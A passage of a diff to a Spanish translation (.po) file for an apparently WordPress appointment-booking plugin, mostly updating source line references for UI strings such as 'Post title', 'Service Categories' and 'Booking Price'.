assets\u002Fjs\u002Fgutenberg-blocks.js:12535\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11611\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11882\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12536\n msgid \"Post title\"\n msgstr \"Título de entrada\"\n \n@@ -1888,9 +1878,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:186\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11613\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12538\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11614\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12539\n msgid \"Post name (post slug)\"\n msgstr \"Nombre del mensaje (post slug)\"\n \n@@ -1901,9 +1891,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:187\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11616\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11887\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11617\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11888\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12542\n msgid \"Post date\"\n msgstr \"Fecha de publicación\"\n \n@@ -1914,9 +1904,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:188\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11619\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11890\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12544\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11891\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12545\n msgid \"Last modified date\"\n msgstr \"Fecha de la última modificación\"\n \n@@ -1927,9 +1917,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:189\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11622\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11893\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11623\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11894\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12548\n msgid \"Random order\"\n msgstr \"Orden aleatorio\"\n \n@@ -1940,9 +1930,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:190\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11625\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11896\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11626\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11897\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12551\n msgid \"Relevance\"\n msgstr \"Relevancia\"\n \n@@ -1956,10 +1946,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:191\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:48\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:48\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11628\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11899\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12211\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12553\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11629\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11900\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12212\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12554\n msgid \"Page order\"\n msgstr \"Orden de páginas\"\n \n@@ -1970,9 +1960,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:133\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:192\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:49\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11631\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11902\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12556\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11632\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11903\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12557\n msgid \"Page order and post title\"\n msgstr \"Orden de las páginas y título de los mensajes\"\n \n@@ -1984,10 +1974,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:146\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:178\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:206\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11641\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11912\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12221\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12569\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11642\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11913\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12222\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12570\n msgid \"DESC\"\n msgstr \"DESC\"\n \n@@ -2001,24 +1991,24 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:207\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:42\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11644\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11915\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12224\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12572\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11645\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11916\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12225\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12573\n msgid \"ASC\"\n msgstr \"ASC\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeSocialNetworksModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeSocialNetworksShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13481\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13482\n msgid \"Employee Social Networks\"\n msgstr \"Redes sociales de empleados\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeTitleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeTitleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12867\n msgid \"Employee Title\"\n msgstr \"Título del empleado\"\n \n@@ -2026,7 +2016,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:29\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11963\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11964\n msgid \"Locations List\"\n msgstr \"Lista de ubicaciones\"\n \n@@ -2048,9 +2038,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:72\n #: includes\u002Fpost-types\u002FLocationPostType.php:124\n #: includes\u002Fpost-types\u002FServicePostType.php:164\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11837\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12123\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12482\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n msgid \"Categories\"\n msgstr \"Categorías\"\n \n@@ -2066,9 +2056,9 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:61\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:64\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:86\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11839\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12125\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12484\n msgid \"Comma-separated slugs or IDs of categories that will be shown.\"\n msgstr \"Slugs o IDs separados por comas de las categorías que se mostrarán.\"\n \n@@ -2078,26 +2068,26 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:149\n #: includes\u002Fpost-types\u002FServicePostType.php:252\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:31\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12272\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12273\n msgid \"Service Categories\"\n msgstr \"Categorías de servicios\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:37\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:53\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12098\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12099\n msgid \"Show Services Count?\"\n msgstr \"¿Mostrar la cantidad de Servicios?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:63\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12106\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12107\n msgid \"Show Description?\"\n msgstr \"¿Mostrar Descripción?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:73\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12114\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n msgid \"Parent\"\n msgstr \"Categoría principal\"\n \n@@ -2105,14 +2095,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:76\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:57\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:58\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12116\n msgid \"Parent term slug or ID to retrieve direct-child terms from.\"\n msgstr \"Término principal o ID para recuperar los términos secundarios directos.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:69\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:93\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:68\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12132\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n msgid \"Exclude Categories\"\n msgstr \"Excluir categorías\"\n \n@@ -2120,21 +2110,21 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:69\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:69\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12134\n msgid \"Comma-separated slugs or IDs of categories that will not be shown.\"\n msgstr \"Slugs o ID separados por comas de las categorías que no se mostrarán.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:75\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:103\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12141\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n msgid \"Hide Empty\"\n msgstr \"Ocultar Vacío\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:85\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:114\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:80\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12150\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n msgid \"Depth\"\n msgstr \"Profundidad\"\n \n@@ -2142,14 +2132,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:115\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:81\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:79\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12152\n msgid \"Display depth of child categories.\"\n msgstr \"Mostrar la profundidad de las categorías secundarias.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:127\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:88\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12160\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n msgid \"Number\"\n msgstr \"Número\"\n \n@@ -2157,56 +2147,56 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:128\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:89\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:24\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12162\n msgid \"Maximum number of categories to show.\"\n msgstr \"Número máximo de categorías a mostrar.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:126\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:158\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12190\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12191\n msgid \"Term name\"\n msgstr \"Nombre del término\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:159\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12193\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12194\n msgid \"Term slug\"\n msgstr \"Término slug\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:160\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12196\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12197\n msgid \"Term ID\"\n msgstr \"Término ID\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:161\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12199\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12200\n msgid \"Parent ID\"\n msgstr \"ID de categoría principal\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:162\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12202\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12203\n msgid \"Number of associated objects\"\n msgstr \"Número de objetos asociados\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:163\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12205\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12206\n msgid \"Keep the order of \\\"IDs\\\" parameter\"\n msgstr \"Mantener el orden del parámetro \\\"ID\\\"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:132\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:164\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12208\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12209\n msgid \"Term order\"\n msgstr \"Orden de plazos\"\n \n@@ -2214,35 +2204,35 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:24\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12621\n msgid \"Services List\"\n msgstr \"Lista de servicios\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:73\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12432\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12433\n msgid \"Show service price.\"\n msgstr \"Mostrar el precio del servicio.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:83\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12440\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12441\n msgid \"Show service duration.\"\n msgstr \"Mostrar la duración del servicio.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:93\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12448\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12449\n msgid \"Show service capacity.\"\n msgstr \"Mostrar la capacidad de servicio.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:87\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:103\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12456\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12457\n msgid \"Show service employees.\"\n msgstr \"Mostrar a los empleados del servicio.\"\n \n@@ -2250,7 +2240,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:116\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:61\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12466\n msgid \"Comma-separated slugs or IDs of services that will be shown.\"\n msgstr \"Slugs o ID separados por comas de los servicios que se mostrarán.\"\n \n@@ -2258,7 +2248,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:126\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:67\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:81\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12475\n msgid \"Comma-separated slugs or IDs of employees that perform these services.\"\n msgstr \"Slugs o ID separadas por comas de los empleados que realizan estos servicios.\"\n \n@@ -2266,7 +2256,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:143\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:78\n #: includes\u002Fpost-types\u002FServicePostType.php:210\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12491\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n msgid \"Tags\"\n msgstr \"Etiquetas\"\n \n@@ -2365,7 +2355,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:105\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:75\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12143\n msgid \"Hide terms not assigned to any posts.\"\n msgstr \"Ocultar términos no asignados a ningún mensaje.\"\n \n@@ -2623,10 +2613,10 @@\n #: includes\u002Femails\u002Ftags\u002Fbooking\u002FBookingLeftToPayTag.php:19\n #: templates\u002Femails\u002Fadmin\u002Fadmin-approved-booking-email.php:29\n #: templates\u002Femails\u002Fcustomer\u002Fcustomer-approved-payment-email.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:6018\n-#: assets\u002Fjs\u002Felementor-widgets.js:6018\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6457\n-#: assets\u002Fjs\u002Fpublic.js:6018\n+#: assets\u002Fjs\u002Fdivi-modules.js:6019\n+#: assets\u002Fjs\u002Felementor-widgets.js:6019\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6458\n+#: assets\u002Fjs\u002Fpublic.js:6019\n msgid \"Left to pay\"\n msgstr \"Restante por pagar\"\n \n@@ -2846,11 +2836,11 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:48\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:51\n #: assets\u002Fjs\u002Fcalendar-page.js:38070\n-#: assets\u002Fjs\u002Fdivi-modules.js:2858\n-#: assets\u002Fjs\u002Fedit-post.js:4314\n-#: assets\u002Fjs\u002Felementor-widgets.js:2858\n+#: assets\u002Fjs\u002Fdivi-modules.js:2859\n+#: assets\u002Fjs\u002Fedit-post.js:4315\n+#: assets\u002Fjs\u002Felementor-widgets.js:2859\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:431\n-#: assets\u002Fjs\u002Fpublic.js:2858\n+#: assets\u002Fjs\u002Fpublic.js:2859\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:300\n msgid \"Clients\"\n msgstr \"Clientes\"\n@@ -2912,13 +2902,13 @@\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:313\n #: includes\u002Fstructures\u002FTimePeriod.php:294\n #: assets\u002Fjs\u002Fcalendar-page.js:38145\n-#: assets\u002Fjs\u002Fdivi-modules.js:3569\n+#: assets\u002Fjs\u002Fdivi-modules.js:3570\n #: assets\u002Fjs\u002Fedit-post.js:2101\n-#: assets\u002Fjs\u002Fedit-post.js:4846\n-#: assets\u002Fjs\u002Fedit-post.js:8800\n-#: assets\u002Fjs\u002Felementor-widgets.js:3569\n+#: assets\u002Fjs\u002Fedit-post.js:4847\n+#: assets\u002Fjs\u002Fedit-post.js:8801\n+#: assets\u002Fjs\u002Felementor-widgets.js:3570\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:1855\n-#: assets\u002Fjs\u002Fpublic.js:3569\n+#: assets\u002Fjs\u002Fpublic.js:3570\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:1620\n msgid \"All day\"\n msgstr \"Todo el día\"\n@@ -2927,12 +2917,12 @@\n #: includes\u002Ffields\u002Fcomplex\u002FDaysOffField.php:100\n #: templates\u002Fshortcodes\u002Fbooking\u002Fcart\u002Fadmin-cart-item.php:113\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:72\n-#: assets\u002Fjs\u002Fdivi-modules.js:5975\n+#: assets\u002Fjs\u002Fdivi-modules.js:5976\n #: assets\u002Fjs\u002Fedit-post.js:2051\n #: assets\u002Fjs\u002Fedit-post.js:2283\n-#: assets\u002Fjs\u002Felementor-widgets.js:5975\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6414\n-#: assets\u002Fjs\u002Fpublic.js:5975\n+#: assets\u002Fjs\u002Felementor-widgets.js:5976\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6415\n+#: assets\u002Fjs\u002Fpublic.js:5976\n msgid \"Remove\"\n msgstr \"Eliminar\"\n \n@@ -3039,7 +3029,7 @@\n \n #. Translators: %s: Location name, like \"Barbershop\".\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:241\n-#: assets\u002Fjs\u002Fedit-post.js:8815\n+#: assets\u002Fjs\u002Fedit-post.js:8816\n #, php-format,js-format\n msgctxt \"Working at %s\"\n msgid \"at %s\"\n@@ -3344,11 +3334,11 @@\n \n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:50\n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:122\n-#: assets\u002Fjs\u002Fdivi-modules.js:6056\n+#: assets\u002Fjs\u002Fdivi-modules.js:6057\n #: assets\u002Fjs\u002Fedit-post.js:1602\n-#: assets\u002Fjs\u002Felementor-widgets.js:6056\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6495\n-#: assets\u002Fjs\u002Fpublic.js:6056\n+#: assets\u002Fjs\u002Felementor-widgets.js:6057\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6496\n+#: assets\u002Fjs\u002Fpublic.js:6057\n msgctxt \"Zero price\"\n msgid \"Free\"\n msgstr \"Disponible\"\n@@ -3433,33 +3423,33 @@\n msgid \"You can add a new log message here and press Update to save it\"\n msgstr \"Puede agregar un nuevo mensaje de registro aquí y presionar Actualizar para guardarlo\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:49\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:50\n #: includes\u002Fpost-types\u002FCouponPostType.php:60\n #: templates\u002Fshortcodes\u002Fbooking\u002Fsections\u002Fcoupon-section.php:14\n msgid \"Coupon\"\n msgstr \"Cupón\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:55\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:56\n msgid \"Reserved Services\"\n msgstr \"Servicios reservados\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:59\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:60\n #: includes\u002Fmetaboxes\u002Fpayment\u002FPaymentDetailsMetabox.php:38\n msgid \"Payment Details\"\n msgstr \"Detalles de pago\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:65\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:66\n msgid \"Booking Price\"\n msgstr \"Precio de reserva\"\n \n #. Translators: %d: Booking ID.\n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:141\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:142\n #: includes\u002Frepositories\u002FBookingRepository.php:113\n #, php-format\n msgid \"Booking #%d\"\n msgstr \"Reserva #%d\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:186\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:187\n #: 